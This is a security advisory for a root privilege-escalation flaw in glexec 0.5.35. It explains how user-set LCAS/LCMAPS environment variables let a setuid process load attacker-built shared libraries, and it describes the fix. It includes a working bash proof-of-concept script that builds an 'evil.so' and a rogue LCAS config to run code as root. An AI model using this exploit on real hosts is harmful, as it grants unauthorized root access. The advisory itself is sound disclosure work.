GLEXEC-2009-0002


Summary:

 

Any user that can run the glexec executable, and is in the white list of users allowed to run glexec, can elevate their privilege to the root user.


Component Vulnerable Versions Platform Availability Fix Available
glexec - 0.5.35 all not known to be publicly available 0.5.36 -
Status Access Required Host Type Required Effort Required Impact/Consequences
Verified local user in the glexec white list glexec medium high
Fixed Date Credit
n/a Jim Kupsch

Access Required:

local user in the glexec white list

This vulnerability requires local access to the machine with the ability to execute glexec. In addition the user must be in the white list of accounts permitted to use glexec.

Effort Required:

medium

To exploit this vulnerability requires the ability to write some simple code, and to call glexec with a certain set of inputs. The attacker also needs to be in the white list of users authorized to use glexec.

Impact/Consequences:

high

The impact of this vulnerability is that the attacker gains root access on the host.

Full Details:

 

Two libraries, LCAS and LCMAPS, are used by glexec to determine if a user running glexec is allowed to switch privileges to another user, determine what user to switch to, and depending upon the configuration perform the actual switch.

The actions of these libraries are controlled by a configuration file. The location of the configuration file is specified by an environment variable, as are many of the inputs to these libraries.

The environment variables used to configure these libraries are controlled by the variables LCAS_DB_FILE and LCMAPS_DB_FILE. There are three places where glexec can get the value to use for these variables: the environment, the configuration file, or a compile time value.

The environment variables for these libraries are set in the function glexec_lcas_lcmaps_setup, using the function glexec_set_env_var to modify the environment. First glexec_lcas_lcmaps_setup chooses between a value set in the configuration file if present, or a hard coded constant if the value is missing from the configuration file. This value, and the name of the environment variable are passed to the function glexec_set_env_var. If the environment variable is set, the environment variable is left unchanged, otherwise the value passed in is used to set the environment variable.

This logic implies that actual value that the environment variable receives is the first value defined in the following list:

  1. the environment variable set by the caller of glexec,
  2. the value in the configuration file, or
  3. the compiled-in default value.

Both of these libraries are designed to use plug-ins to do their actual work. These plug-ins are implements as shared libraries that contain a set of named functions. These libraries are loaded using dlopen, and the functions within are called to do the work.

The location of the shared library plug-ins are specified in the configuration file. The location of the file can be anywhere in the file system and can have any ownership and permissions. The code in these plug-ins is executed in the context and privilege of the glexec process, which is a setuid process, so it has an effective user id of root.

The calling user of the glexec process can set the environment variable containing the location of the libraries configuration file. The library configuration files contain the location of the share libraries to load. Both the library configuration file, and the shared library can be in a location controlled by the user, so the user can inject code into the glexec process and run code with root privileges.

An example attack is shown in the bash script below. This script creates an LCAS configuration file and shared library, and causes glexec to execute the code in the shared library. In this example, /usr/bin/id is called to demonstrate that the shared library code is run with an elevated privilege. The code in the library could of course be replaced with a malevolent payload.

    #!/bin/bash

    #
    # locations of various files
    #
    EVIL_SO=/tmp/evil.so
    EVIL_C=/tmp/evil.c
    GLEXEC=/opt/glite/sbin/glexec


    #
    # Create the source for the shared library.
    #
    cat <<EOF >$EVIL_C
    #include <unistd.h>


    #define EVIL_CMD "/usr/bin/id"     /* the command to run */


    /* declare evil() to be run when the share library is loaded */
    static void evil(void) __attribute__((constructor));

    void evil(void)
    {
	execl(EVIL_CMD, EVIL_CMD, NULL);
    }
    EOF


    #
    # Create the shared library.
    #
    gcc -shared -Wall -Wextra -g3 -o $EVIL_SO $EVIL_C
    rm $EVIL_C


    #
    # Create the LCAS configuration file.
    #
    export LCAS_DB_FILE=/tmp/evil_lcas_glexec.db

    cat <<EOF >$LCAS_DB_FILE
    pluginname=$EVIL_SO,pluginargs=allowed_users.db
    EOF


    #
    # Start glexec with evil configuration file and shared library.
    # /usr/bin/id will executed instead of /bin/true,
    #     it will demonstrate that the effective uid is root
    #
    $GLEXEC /bin/true

    rm $EVIL_SO $LCAS_DB_FILE
  

Cause:

improper trust
code injection

This vulnerability is caused by improperly allowing a user to specify the location of shared libraries that are run with root privileges. Since these libraries are run with root privileges they should controlled only by the root user.

Proposed Fix:

 

The environment variables that control LCAS and LCMAPS should never be taken from the calling user. The function glexec_set_env_var should be changed to set the environment variable from the configuration file or compiled-in default value.

Also the safe_env_lst array should be modified so environment variables beginning with LCAS_ and LCMAPS_ are cleared by the glexec_clean_env function to prevent the user from controlling any of the input to LCAS or LCMAPS directly.

Actual Fix:

 

In versions of glexec 0.5.36 and later, the safe_env_lst array was modified not allow variables beginning with LCAS_ and LCMAPS_. This effectively prevents this attack, since if the user has the dangerous variables set they will be cleared, and then set to the value specified in the configuration file or compiled-in default.

The strings to allow these variable to be supplied by the user are still in the code, but are commented out. They should be removed and a strongly worded comment should be added to the code not to add then back to the list of environment variable allowed to set by the user.

Acknowledgment:

 

This research funded in part by National Science Foundation grant OCI-0844219, NATO grant CLG 983049, and National Science Foundation grants CNS-0627501 and CNS-0716460.